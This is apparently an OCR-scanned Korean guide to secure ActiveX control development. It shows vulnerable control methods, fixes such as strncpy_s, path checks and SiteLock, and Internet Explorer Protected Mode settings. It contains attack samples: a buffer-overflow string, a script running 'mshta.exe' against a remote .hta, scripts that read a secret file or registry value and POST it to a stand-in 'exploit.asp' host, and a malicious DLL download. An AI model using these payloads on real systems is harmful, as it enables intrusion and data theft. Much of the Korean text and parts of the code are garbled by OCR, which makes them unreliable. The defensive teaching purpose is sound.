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<object id="“PokerLauncher” classid="“ClSia:XXXXXXXX—XXXX—XXXX —XXXX = XXXXXXXXXXXX >
<param name="Server” value="http://update.server.com”>
</object>

<{script>

PokerLancher.Title="My Poker 4”;
PokerLauncher.StartGame(“poker.exe”, 0);
{/script>
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® URL: http://labs.idefense.com
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bh-usa-03/bh-us-03-bretmounet-combust. zip

" AxMan
® HD Moore?] ActiveX Control 3% &7+
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void MyActiveX::StartGame(char * x, int y)

{
char buffer[20];

strepy (buffer, x); // copy x to buffer
G T

}

[12 6l HHHERSL F|UE S 718 HAE2] o

(23] 71 (27 6lollA] T8 © MyActiveX 9] StartGame W57} F 27}l o8] o-8-5]
E dolth (27 719 22 FAAL wHE 23 HEV} ) AXEoIY ol A& B AR
A} Al 2EH oA AP, ZH oS 71 StartGame WAE7} ALEAL B8 S& o] (18
619] strepy S E-5] buffero]l 1] S 208l EE Yol ThE 28] oJorlx] Ex}dS
Hol 2 w5 oM E2-971 s et vl HZR 7L B, FAAE AL

A} A|2El o] AoEL FESLL AT EE A A= S 7S 38 S Qi)

<object id="PokerLauncher” classid="ClSid:XXxXXxXXX—XXXX —XXXX —XXXX = XXXXXXXXXXX >

</object>

{script>

PokerLauncher.StartGame (“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...... AAMA”0);
{Iscript>
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void MyActiveX::StartGame2(char * x, int y)

{
char buffer[20];
memset(buffer, 0x00, 20);  // Initialize buffer
if(x==NULL) return; // Check NULL input
if (strlen(x) >= 20) // Check Length of x
{
/* ...Here comes Error Handling Code... */
return;
I3
strnepy_s(buffer, 20, x, 20—1); // Use strmcpy_s(), instead of strepy()
..(Eh
}
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<object id="“PokerLauncher” classid="ClSial:XXXXXXXX—XXXX —XXXX —XXXX —XXXXXXXXXXXX >

{param name="“Server”
value="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA...... AAA™>

</object>
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void MyActiveX::CreateProcessMethod (BSTR x)
{
CreateProcess(..., X, ...); // Create Process

}
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<object id=MyActiveX classid="clsid: {XXXXXXXX—=XXXX—=XXXX =XXXX —=XXXXXXXXXXXX} ">
</object>

<script> MyActiveX.CreateProcessMethod (“mshta.exe http://XXX/exploit.hta”);

{/script>
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BSTR MyActiveX::ReadFileMethod (BSTR x)
{

HANDLE hFile;

BSTR content, encodedContent;

hFile= CreateFile(x, ...); // Open file
ReadFile(hFile, &content, ...); // Read file content
BaseB4Encode (&content, &ncodedContent); // Encode file content

\ return encodedContent; // Return encoded file content
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<object id=MyActiveX classid="clsid: {XXXXXXXX—=XXXX —XXXX —XXXX = XXXXXXXXXXXX}”>
</object>

{script>

var str = MyActiveX.ReadFileMethod (“C:/Program Files/SecretFile.hwp”);
document.write(“<form name="save’ method="post’ action="http://XXX/exploit.asp’ >”);
document.write(“<input type="hidden’ name="filecontent’ value="" + str + “*”);
save.submit();

{/script>
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BSTR MyActiveX::ReadFileMethod2(BSTR filename)
{
BSTR x = “C:/Program Files/MyActiveX/” + filename;

return ReadFileMethod(x);
}
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BSTR MyActiveX::ReadFileMethod3(BSTR filename)

{
if(strstr(filename, “..”) 1= NULL)
{
/* ...Here comes Error Handling Code... */
return “”;
)3

BSTR x = “C:/Program Files/MyActiveX/” + filename;

return ReadFileMethod(x);
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BSTR MyActiveX::ReadRegistryMethod (BSTR x, BSTR y)
{

HKEY hKey;

BSTR content, encodedContent;

RegOpenKeyEx(HKEY_LOCAL_MACHINE, x, ..., &Key); // Open registry key x

RegQueryValueEx(hKey, v, ..., &content, ...); // Read data y of registry key x
Base64Encode(&content, &encodedContent); // Encode registry content
return encodedContent; // Return encoded registry content
}
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{object id=MyActiveX classid="clsid: {XXXXXXXX—=XXXX—=XXXX —=XXXX =XXXXXXXXXXXX}">
</object>

{script>

var str = MyActiveX.ReadRegistryMethod (“SOFTWARE”, “SECRET”);
document.write(“<form name="save’ method="post’" action="http://XXX/exploit.asp’ >”);
document.write(“<input type="hidden’ name="filecontent’ value="" + str + “");

save.submit();
{/script>
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BSTR MyActiveX::ReadRegistryMethod2(BSTR keyname, BSTR valuename)
{
BSTR x = “SOFTWARE\\MyActiveX\\” + keyname;

return ReadRegistryMethod(x, valuename);

}
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BSTR MyActiveX::ReadRegistryMethod3(BSTR keyname, BSTR valuename)

{
if (strstr(keyname, “..”) I= NULL) {
/* ...Here comes Error Handling Code... */

0y

return *;
}
if (strstr(valuename, “..”) I= NULL) {
/* ...Here comes Error Handling Code... */
return “”;
}

BSTR x = “SOFTWARE\\MyActiveX\\” + keyname;

return ReadRegistryMethod (x, valuename);
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<object id="MyActiveX” classid="ClSial:XXXXXXXX —XXXX—XXXX —XXXX = XXXXXXXXXXXX >

</object>

<{script>

var UpdateURL = “http://myactivex.webserver/module.zip”;
MyActiveX.Download(UpdateURL);
J

Download http://myactivex.webserver/module.zip

and Extract into C:\Program Files\MyActiveX\

module.zip contains module.dll
*/
MyActiveX.Run();
</script>

// call LoadLibrary(C:\Program Files\MyActiveX\module.dll)
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<object id="MyActiveX” classid="cClSial:XXXXXXXX —XXXX—XXXX —XXXX = XXXXXXXXXXXX >
</object>
{script>
MyActiveX.Download (“http://xxx/module.zip);
/*
Download http://xxx/module.zip
and Extract into C:\Program Files\MyActiveX\

module.zip contains module.dll that has malicious code
*/
MyActiveX.Run(); // call LoadLibrary(C:\Program Files\MyActiveX\module.dll)
{/script>
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HH-H sitelock. doc®} sitelock, h 3} A& ZFarsic
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H72 A 71Set @ AOIEQ] Mgt

W ActiveX Controldi| SiteLock Template A& &=A{

1) SiteLockS A %] URLEZX-E -2 & =t}
2) C:\Program Files\Microsoft\SiteLock 1,14 \sitelock.h I}d-S E-A}5}e] ActiveX
Control Z2A| E of] 7}t

3) StdAfx.h ohdell [ 7] 2313 22 &5 F713he)

#define SITELOCK_USE_MAP // use macro for sitelock
#define SITELOCK_NO_EXPIRY // do not use expire—time
#define SITELOCK_USE_IOLEOBJECT /[ use 10leObject

#include “sitelock.h”

[T12! 23] SiteLock Template =& (1)

4) ActiveX Control Z-#}2=0l] (13 24]9} 20| CSiteLockg base S#fj2~0l| F7}38ic},

class CMyActiveXCtrl :

public CSiteLock<CMyActiveXCtrl> // for SiteLock

[212! 24] SiteLock Template 2 (2)

5) W& A8t ol (27 2519 22 Y85 718t of 4= myweb.com &=
w2l of] thet hip &S 5-8-3H30th= <fr]o|tt,
BEGIN_SITELOCK_MAP()

SITELOCK_ALLOWHTTP (L”myweb.com”) // allow *.myweb.com
END_SITELOCK_MAP()

[T&! 25] SiteLock Template X-& (3)

6) § Aol E AgHS 93l CSiteLock::InApprovedDomain() 345 283k}
CSiteLock::InApprovedDomain() <= 212 =W Qlo|A= trueE, SHIEA] Fe =

ol o A= falseE BFEFSIT} Safe for Initialization ¥} Safe for Scripting=- IObjectSafety
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olg|Ho| s Ea a3tk H, CSiteLock: InApprovedDomain()S 73130 2-8-}
o] ActiveX Controlo] |3 A]2H2 wf § Apo| EE Agksh= Zlo] ulgh2lsiet,

W ActiveX Controldy| SiteLock Template S A| 112 & X

1) “‘GetSite’ : is not a member of ‘CMyActiveXCtrl " 3} 72+ of| 2{H|A| A B4 Aofl:=
sitelock.h 3} 2] GetOurUrl $H=9] FHF-E (19 2617 o] At}

// Get the client site, container, and provider, etc.

/! hr = I0bjectWithSite::GetSite (IID_IOleClientSite, (void**)&spClientSite);
1l if (FAILED (hr))
/ return false;

[O2! 26] SiteLock Template & (4)

2) “ ‘COleControl::GetClientSite’ : function does not take 1 arguments’ &} 752 o 2|
A|A] B Al o] = sitelock. h L o] GetOurUrl 2] FEFEE (19 2719 o]
Jact

#ifdef SITELOCK_USE_IOLEOBJECT

// hr = pT—>GetClientSite((I0leClientSite **)&spClientSite);
I if (FAILED(hr) || spClientSite == NULL)
/! return false

spClientSite = pT—>GetClientSite();

if (spClientSite == NULL)

return false

hr = spClientSite—>QueryInterface (IID_IServiceProvider, (void **) &spSrvProv);
#else

hr = pT—>GetSite (IID_IServiceProvider, (void*+*)&spSrvProv);
#endif

[12! 27] SiteLock Template 2 (5)

58 ‘ ActiveX Control 7H2} HOt7t0|=20]



MeE ‘e 4 U= A0IE F7F HE ZA

Q59 v 2Ele] 7slE HobA o 2 ActiveX Controld] A ] & 28] o) A|sH-S HHA|
Hzp 7RSS i Al A2 oll Eol7tok k. BR8] A EAES At
H| 2B ActiveX Control 743F= thAl ZF212] ActiveX Controlo] A4 | | A} A& =
£ AISE A 5 S Al A4S, 0 8l Aol g
VistadllA] F71He H_b7 55 5 A E o] 7129 ActiveX ControlE% tH-+ 4
0= Fashr) tholch

eyl o E el 9 Aol EE Bol ol kel eyl o, 27 eleehy G,
N2 5 Sl Aol o], AT Aol E Jele] 7ba) el rm ek, o
o AbolEx= QIE Ul GYollM A=, QB Ul FYollM= =2 Bt 0] AlgHt.
NS 5 9l Apo| 2 AHA 22252 o AfolE7} QHRBEl T 58] A gk Afo]
E2M, Qe Jelu) nek o] ol B3] Aws vl Ao BE B
A, BERE S} SIS A v el 7hE ] nebgalo] Telshar,
TebA] o] BAG S 45] FANE OIS R WAl ohfe}, AT 5 4l
= Alo]EV} ol Ut E= ActiveX Controle] AAFA 0] Ag) o] 7538 == ActiveX Control

& sgstolo} ai

o

ZHA=5HE
oS o=

m, ActiveX Control2] A =] 2 2812 934 s ¢ Ao EE AlF)E &= Q= Al E

o S s B ashA) Wolo} G,

" ActiveX Control®] A 2| & $J3|A BHIMdA-S Y& F a7} Ithd AA] Foll= Hi=
A BePIE At BT solor Bek

", AdtiveX Control®] 21388 93l HeMd A& vkE d 97} Iohd Hobd A vie=Hhd
thAl Ak A A2 538l ActiveX Control2] AR o= HH o 2 &g} oo} ghut,

J

ActiveX Control 7Hg EQt7t0|=2}0l ‘ 59

Bl

Bl ZRlic 101U XBAIOY [B373

=]
'

174

o
u}



ol

ActiveX Control 7igh 2ot7to|=2}

x4w
OFFSt ActiveX Control 722 ¢l

&

r9.'.'
]
0f

Control& AdY3t7] 213l ST 4 Ale|EE A2 4= Q& Alo]Eo —%7}3}‘}—% AR
o Ao e ¢ Alo| Bl Het S AAlH g | He Aol o]g <l
o] Hetel Fofed 7Fsd2 okxith.

3k, A v aeke] e AT Qe AP|EE Rew eyt 857 ¢t o
w0 g S ¢ Afo|Edl| FoFA]o] BAYSh= A-92he W2 Integrity ] AoFS WA
A 25k = Qe Aol B F71Eo] R rer) A =H 3t Integrity?] A3 7HA| 2
2 AR gk 0 2 gX|2Eg ] gigk H AdHS 7 EE 53] A9 o]—li]-

ActiveX Control®] A& 93] HEo|31A Bod AL zo]of st A x| Sofl&=
HFEA] HOPEAS Bslofof ghvt, dfufahd w7 d Hed A2 <lE Ul QJC%EHOU
HhgTA o2 AR H B 3T ActiveX Control F0F oftj2} QIEUl AR kel Hebd
o] vrolx]7] wliolr}, ukek ActiveX Controlo] HQHA RS wh3olokul A8 71531t}

™ o] SnlEx] ko AdgubHoln g Al B3 A o 7 AREAl Fo|= ool =
< AgS AdE o FHE oo} gt
4. Al
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Oa program needs your permission to continue

Hyou started this program, continue.

i -~ | Microsoft Setup Bootstrapper

%) Detas (Contme ] (_concel ]

User Account Control helps 54

Den't run the progy
before.

my o

+ Cancel
I den't know where this program is from or wh|

+ Allow Eraingand mode helps protect your computer.. If you do not trust ths
[ trust ths program. [ know where it's from or 1 L

@ Name: Windows Explorer
= Publsher:  Microsoft Windows Publisher
(%) Details

| Do rot ghow me the warming for this program agen

(et ) (eitain )

User Account Control helps stop unautherized changd

[0 29] et &5 &

Microsoftiit+= ActiveX Control®] ¢F&18l A3F Ak £]3}e] CoCreatelnstanceAsAdmin
olgl= APIE A3t} UukA 0 2 ActiveX Control2 AAe Wl CoCreatelnstanceS
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Yok A weirt 2ol Aol FHekst A% e A 3 FS fIs= &
& 7HIct

ZAZ2F "HKLM\SOFTWARE \Microsoft\Internet Explorer\Low Rights\Elevation Policy\
{GUID of ActiveX Control}\” o]t}

3l ActiveX Controlo] et tg]x} L2 M| 29| o] 58 7] HIA2ER A2
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gt aF ActiveX Control> Hgh 45 < &5 ARAL 59 glo] tieja Z2 A~
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4. Akl

7}. Elevation Policy #AAEZ 7|5 o|&3dt A A5 & 93] & S
Integrity®] & ZE2A|AE A3YPsh= 9

[Z2% 311 Elevation Policy #|A=E7] 7|5 o]-83F ShA| & 2] A <52 3l o] & H o
Fo}, R A2E7] “HKIM\SOFTWARE \Microsoft\Internet Explorer\Low Rights\Elevation
Policy\ froxoooae-soaaexaaa-xoa-xooococoaax ]\ A 20 “AppName” 2 “ClientX XXXexe,
“AppPath” = “C:\Program Files\XXXX\ActiveX', “Policy’ &= 3" 0.2 A =o] it} =,
GUIDZ F {XaxaX-XXxX-Xxxx-xxxx-xxooxxxxxxxx} @l ActiveX Control®] “C:\Program
Files\XXXX\ActiveX' ZT]o] A& “ClientXXXX exe' & AFA} 9] ¢lo] Medium
Integrity 2] AF&-A} A3k 2 Ade o= 9l 2-& o|n|gir},
AR Hgt e AE A AE 3t R sttt whebA g Ak A
o= wAsteof gt} whofo] thejz} ZE A7} Medium Integrity ] Agko] Q. glrk
H “Policy’ & 1" 2, 2|2} T2 |27} Medium Integrity 2] @gto] & @3t “Policy”
£ 22 Ao =M WAIARl A o 2o M) &4A 7hssitt.

ot

). {03288CB3-3893-46D1-8D58-82F88B6FF36F} ~ |[ o= =5
)\ {05422620-dbea-4347-8335-642533254294) &=z Fe =g
L (07d873dc-bobo-445-af0b-b59fasafb7a) = =

f07d : a5] AppName REG_SZ exe
) gifc‘;‘;iﬁ”f;j::;:e‘tfzg’;‘;‘;’;é:‘;; a5 AppPath REG_SZ CHProgram Files W SORFSIIMENECIEIEEWACVEX
- . 8 policy REG_DWORD 0x00000003 (3)

{11385062-b949-4637-b6c0-e26499fdeaf}
J! {130c40f0-1bcb-4852-8b63-291¢f90a6000}
J. {18660034-36¢9-11d2-0616-0014223d2370}
J. (191DA038-FBET-4579-864D-273DC8358F 18}
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). (FAF199D2-BFA7-4304-A4DE-044A08ES9832}
)i {FBS3EDO0-8501-41D5-9E54-EFSFBATFE6FO]

)\ {fb9e068b-c612-4fa8-bdb9-d72827168420}

J. {FC88B53C-0B2A-1A25-5867-C8612E79DBF6)
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U, AFsts 22 A3 gEzt ZEA| A A= HAXE Adste] Ak

[(E 32 Y= HAIAE 8 2|z} Z2 M 20e] B4l o & Bl oA FEE B
ofFEr}, dgj#l Z2 M2 ChangeWindowMessageFilterE 53} whe Aglo] T 24
2R HE 9] WM_COPYDATA WA RS &]8-3hc}.

WM_COPYDATA WA A= ZA S AEahe Hl AR-He x5 wA|A ot 23
HEE 53| ActiveX Controlo|4] method( “http://webserver/update.inf” )7} &2 %
ActiveX Control-& FindWindow() APIZ the]a} Z2 4| ~0] d=9 FOlEE 2t g
A} ZR2A|2~0]| SendMessage() APIE 5-3}o] Ul-g-0] “htp://webserver/update.inf” #2}
H2l WM_COPYDATA HAAE A3t} o] wA[A]E Ak vj2|x} T2 A ~E
“http://webserver/update. inf’ S QIE{Ylo|A] Th2ko} ActiveX Control Z2 13 0of| T gk
o] EE 3ttt

[ 3] HE|X} Z2MAS S8 At &

ol

of

S| AtE E(Pseudo Code)

ChangeWindowMessageFilter(WM_COPYDATA, MSGFLT_ADD);

oFste /%
2| <t Allow to receive WM_COPYDATA message from processes with low integrity
Z2NA WM_COPYDATA message is used for the string transmission

*/

method (update_url)

// message to send to Surrogate Process

CString str = update_url;

/*
ex) If you call method(“http://webserver/update.inf”) in script
str will be “’http://webserver/update.inf”

*/
‘ COPYDATASTRUCTURE cds; // set structure for WM_COPYDATA
ActiveX cds.cbData = str.GetLength()+1;
Control cds.lpData = (LPSTR)(LPCSTR)str;

// Get the window pointer of the surrogate process
CWnd *pWnd = FindWindow([surrogate process name], NULL);

// Send message
SendMessage (pWnd—>m_hWnd, WM_COPYDATA, (WPARAM)m_hWnd,
(LPARAM)&cds);

}
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